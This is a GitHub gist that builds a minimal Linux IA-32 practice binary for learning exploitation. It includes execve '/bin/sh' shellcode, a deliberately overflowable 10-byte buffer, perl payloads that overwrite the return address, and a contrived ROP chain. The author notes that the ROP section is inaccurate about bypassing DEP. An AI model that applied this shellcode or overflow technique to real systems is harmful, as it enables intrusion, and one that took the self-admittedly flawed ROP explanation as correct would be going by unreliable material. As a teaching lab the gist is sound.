Skip to content

Instantly share code, notes, and snippets.

@jstaursky
Last active February 19, 2021 13:13
Show Gist options
  • Save jstaursky/43b61c16fffe4c5e8d6e3fd9feebf679 to your computer and use it in GitHub Desktop.
Save jstaursky/43b61c16fffe4c5e8d6e3fd9feebf679 to your computer and use it in GitHub Desktop.
reverse-engineering

BINARY PLAYGROUND (LINUX IA32)

NOTE! some of this contains inaccurate material. In particular the “ROP” section while it does illustrate a facet of ROP it also does it in a way that does not go around Data Execution Prevention(DEP)–which is the entire point. I realized this after noticing that I had to add the following compiler flags in order to ensure DEP is enables -Wa,--noexecstack -z noexecstack. I have since updated the gcc command below but I also think it breaks the example. A will get around to fixing this at some point but a bit too busy atm. This page still contains some useful tidbits however, so I will keep it up in the meantime.

Below is my attempt to make as simple of a binary as possible for exploring.
I recommend playing using the setup found here (Not particularly useful for this binary anymore, (albeit I might add more features and this could be useful again in the future).

  • If you plan on using radare2, you will want to make sure that asm.bits=32, which you can do by opening the binary with r2 -a x86 -b 32 <binary> (add this to the cmd used in link described above).

SUMMARY

  • No libc present and so no un-necessary junk (startup configuring + runtime stuff).
  • Tried to keep number of sections/segments to a minimum.
  • zsh not needed but recommended.

MISC

In an earlier iteration mySegment was at address 0x12345678. But gcc, despite the -mpreferred-stack-boundary=2 option being set, still aligned bytes to a 16-byte boundary and padded with 0’s until 0x12345680. So I had to update to remove the padding.

Added in -fno-omit-frame-pointer to ensure the classic

push ebp
mov ebp, esp

function prologue is still used (I think gcc now optimizes this out).

Note to Windows users

The shellcode + the nasm asm is linux specific. To get this to work on windows you will need to consult a resource such this for creating new shellcode, make the appropriate changes to the passed overflow cmd (see “Digression” in src), and change the inline asm for exiting (although, if you don’t care about exiting cleanly then don’t bother). Another good place to start learning about windows shellcoding can be found here.

The nasm asm isn’t strictly necessary, so you could remove that part. The only other thing might be the _start hack. I’m not sure whether that will work (although it may). update I tested and no unfortunately it does not. There are some other features that do not work on windows. Eventually I will update the page with a windows example.

Binary src

Note that the shell code bytes inside the variable code[] are compiled from the following shellcode

BITS 32
;; compile to shellcode:
;; nasm example.asm -o example
segment .text

global _start

_start:
    jmp _setstring
_begin:
    ; int execve(const char *pathname, char *const argv[], char *const envp[]);
    ;
    pop ebx                ; 1. place ptr to 'msg' in ebx (const char *pathname)
    mov [ebx + msglen],ebx ; 2. place ptr to '/bin/sh' after '/bin/sh'
                           ;    - note that indexing starts at 0 so +msglen is
                           ;      just after the NULL terminated string.
    lea ecx,[ebx + msglen] ; 3. place ptr to ptr in ecx (char *const argv[])
    xor eax,eax            ;
    mov [ecx + 0x4],eax    ; 4. man page of execve requires &argv[1] = NULL
    mov edx,eax            ; 5. set edx to NULL         (char *const envp[])
    mov al,0x0b            ; <- sys_execve call number = 0x0b
    int 0x80               ; 6. make system call.
_setstring:
    call _begin
    msg     db  '/bin/sh',0 ; Append NULL byte
    msglen  equ ($ - msg)   ; msglen is 8 (b/c NULL was added)

which calls sys_execve start a new shell.

/*
 * FILENAME: driver.c
 */

/*  HOW TO BUILD
 1. nasm -f elf32 asm_funcs.asm
 2. gcc -m32 -march=i386 -fno-pie -no-pie -fno-pic -fno-plt                   \
    -mpreferred-stack-boundary=2 -fno-stack-protector -nostdlib -nostartfiles \
    -masm=intel -fno-ident -fno-omit-frame-pointer -fno-exceptions            \
    -fno-asynchronous-unwind-tables -fno-unwind-tables -mno-red-zone          \
    -Wa,--noexecstack -z noexecstack                                          \
    driver.c asm_funcs.o                                                      \
    -Wl,--gc-sections,--build-id=none,-Ttext=0x10000 -Os                      \
    =(echo -n 'SECTIONS {.mySegment 0x12345680 : {KEEP(*(.mySection))}}')     \
    -o output
 */

#include <stdint.h>  // uint8_t


extern void asm_puts(char*);


// Gets placed at address 0x12345680 in binary file output.
// MUST be written as a function or else it will be placed in the data section and inaccessable to ROP technique.
__attribute__ ((section (".mySection"))) uint8_t code()  {
    asm(".intel_syntax noprefix");
    /* Begin Shellcode */
    asm volatile (".byte 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69, "
                  "0x6e, 0x8d, 0x1c, 0x24, 0x89, 0x5b, 0x08, 0x8d, 0x4b, 0x08, "
                  "0x31, 0xc0, 0x89, 0x41, 0x04, 0x89, 0xc2, 0xb0, 0x0b, 0xcd, 0x80");
    /* end Shellcode */
};


// This gives access to cmdline args without relying on the standard C runtime.
__attribute__ ((force_align_arg_pointer)) void _start(char *argv0)
{
    int argc = (int)__builtin_return_address(0);
    char **argv = &argv0;
    main(argc, argv);
};

void mymemcpy (uint8_t* dst, uint8_t const* src)
{
    for (uint8_t* s = dst; (*s++ = *src++) != '\0';)
        continue;
}

#define vulnerable 10

void overflowme (char* arg)
{
    char buf[vulnerable];
    if (arg) {
        asm_puts ("Try exploit\n");
        mymemcpy(buf, arg);
    } else
        asm_puts("You need to provide overflow code in order to jump and trigger the shellcode\n");
}
// Example
// ./output $(perl -e 'print "A"x18 . "\x80\x56\x34\x12"')
//
// 'code' starts at 0x12345680 translate to little endian as \x80\x56\x34\x12.
int main(int argc, char* argv[])
{
    overflowme (argv[1]);

    // This cleanly exits the program.
    asm(".intel_syntax noprefix");
    asm volatile ("mov eax, 0x1  \n\t"
                  "int 0x80");
}

Go here for IA-32 Linux Syscall Reference.
Also useful.

;; FILENAME: asm_funcs.asm
;;
; nasm -f elf32 asm_funcs.asm -o asm_funcs.o
BITS 32
%assign  STDOUT  1
%assign  SYS_WRITE  0x4


segment .text
    global asm_puts

asm_puts:
    push ebp                    ; prologue
    mov ebp, esp

    push ebx                    ; preserve ebx
    push edi                    ; preserve edi
    push esi                    ; preserve esi

    mov ebx, STDOUT
    mov ecx, [ebp + 8]       ; const char *buf [address of string] goes into ecx

    xor edx, edx

.putsLoop:
    cmp [ecx + edx], byte 0     ; look for NUL terminator
    je _putsDone

    inc edx
    jmp .putsLoop

_putsDone:
    mov eax, SYS_WRITE
    int 0x80

    pop esi                     ; restore esi
    pop edi                     ; restore edi
    pop ebx                     ; restore ebx

    mov esp, ebp                ; epilogue
    pop ebp
    ret

If you plan to use radare2 but are new to it, I suggest the following .radare2rc to put in your home folder.

e asm.syntax=intel
e cmd.stack=pxa 64
e asm.describe=true
e scr.color=true
eco onedark
e scr.utf8=true
e scr.utf8.curvy=true

e asm.hint.call=0
e asm.flags.real=1
e io.cache = true

Also look here for an awesome radare2 cheatsheet

Examples

Custom shellcode containing a string

This example highlights a common shellcode idiom for placing a string at the end of the shellcode buffer.

Suppose I write shellcode with the help of nasm as below,

BITS 32
%assign  STDOUT  1
%assign  SYS_WRITE  0x4
;; compile to shellcode:
;; nasm example.asm -o example
segment .text

global _start

_start:
        jmp _setup
_begin:
        pop ecx                 ; ecx now points to address of "\nHello World"
        xor eax, eax
        xor ebx, ebx
        xor edx, edx
        mov al, SYS_WRITE
        mov bl, STDOUT
        mov dl, msglen
        int 0x80
        xor eax, eax            ; For a clean exit.
        inc eax
        int 0x80
_setup:                         ; '_setup' is used to place "\nHello World" at
                                ; the end of the shellcode.

        call _begin             ; 'call _begin' has the side effect of putting
                                ; address of "\nHello World" on top of stack.

msg     db  `\nHello World`     ; backquotes needed to interpret \n correctly.
msglen  equ ($ - msg)

This prints ”\nHello World”.

To put it in a form appropriate for the code variable in driver.c , run

cat example | hexdump -v -e '1/1 "0x%02x, "'

then copy paste to the appropriate area in driver.c . Upon recompile and applying the same buffer overflow in the example in the src comments, you should get the desired results.

ROP (Return Oriented Programming)

This is a contrived example but I believe is useful for illustrating how ROP works.

For this example I modified the shellcode so that a ret byte is used at different areas to create ‘ROP Gadgets’ (note that normally you would need hunt for these).

The essence of ROP is to find gadgets to perform your desired operation in piecemeal. The gadgets perform these small snippets and the ret pops whatever you have placed on stack (due to the buffer overflow you now control this) to move onto the next gadget and so on until you have completed whatever you were wanting to do.
Here are the gadgets used for this example.

Gadget #1 (0x12345680)

jmp short 0x19
pop ecx
ret         ; pop next gadget off stack and jmp to it.    

This one might seem silly because the very first statement is a jump! but really all I did was recompile the earlier nasm code with the ret’s inserted, and so I know nasm has calculated for me the correct jmp distance and returns without issue. But yes without having known that, this would be an unlikely candidate for gadget usage.

Gadget #2 (0x12345684)

xor eax,eax
xor ebx,ebx
xor edx,edx
ret         ; pop next gadget off stack and jmp to it.

Gadget #3 (0x1234568b)

mov al,0x4
mov bl,0x1
mov dl,0xc
ret         ; pop next gadget off stack and jmp to it.

Gadget #4 (0x12345692)

int 0x80
xor eax,eax
inc eax
int 0x80
call 0x2

Updated driver.c

Now you can compile this with nasm and extract the resulting shellcode as before or you can just cut and paste driver.c that I have updated below

/*
 * FILENAME: driver.c
 */
#include <stdint.h>  // uint8_t

// Gets placed at address 0x12345680 in binary file output.
uint8_t code[] __attribute__ ((section (".mySection"))) = {
    /* Begin Shellcode */
    0xeb, 0x17, 0x59, 0xc3, 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xd2, 0xc3,
    0xb0, 0x04, 0xb3, 0x01, 0xb2, 0x0c, 0xc3, 0xcd, 0x80, 0x31, 0xc0,
    0x40, 0xcd, 0x80, 0xe8, 0xe4, 0xff, 0xff, 0xff, 0x0A, 0x48, 0x65,
    0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64,
    /* end Shellcode */
};

// This gives access to cmdline args without relying on the standard C runtime.
__attribute__ ((force_align_arg_pointer)) void _start(char *argv0)
{
    int argc = (int)__builtin_return_address(0);
    char **argv = &argv0;
    main(argc, argv);
};

void mymemcpy (uint8_t* dst, uint8_t const* src)
{
    for (uint8_t* s = dst; (*s++ = *src++) != '\0';)
        continue;
}

#define vulnerable 10

void overflowme (char* arg)
{
    char buf[vulnerable];
    mymemcpy(buf, arg);
}
// Example
// ./output $(perl -e 'print "A"x14 . "\x80\x56\x34\x12" . "\x84\x56\x34\x12" . "\x8b\x56\x34\x12" . "\x92\x56\x34\x12"')
int main(int argc, char* argv[])
{
    overflowme (argv[1]);

    // This cleanly exits the program.
    asm(".intel_syntax noprefix");
    asm volatile ("mov eax, 0x1  \n\t"
                  "int 0x80");
}

Strangly, after compiling this again, gcc changed my function prologue and omitted the push ebx present in the first example. Now the overflow starts with print "A"x14 ...

If you simply did ./output $(perl -e 'print "A"x14 . "\x80\x56\x34\x12"') for your buffer overflow, you will be greeted with a segfault.
This is because of the ret bytes we inserted. In order to get this running again you need to fill the stack past the original return address and accomodate the ret’s that are present in the new shellcode.

Thus the new buffer overflow has the following structure:

| saved EBP |
|-----------|
| @gadget 1 | <- Overwritten return address (now 0x12345680)
|-----------|
| @gadget 2 | <- 0x12345684 (gadget 1 ends with 'ret' which triggers gadget 2 being run)
|-----------|
| @gadget 3 | <- 0x1234568b (sim., etc..)
|-----------|
| @gadget 4 | <- 0x12345692
 

and the resulting buffer overflow is now ./output $(perl -e 'print "A"x14 . "\x80\x56\x34\x12" . "\x84\x56\x34\x12" . "\x8b\x56\x34\x12" . "\x92\x56\x34\x12"')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment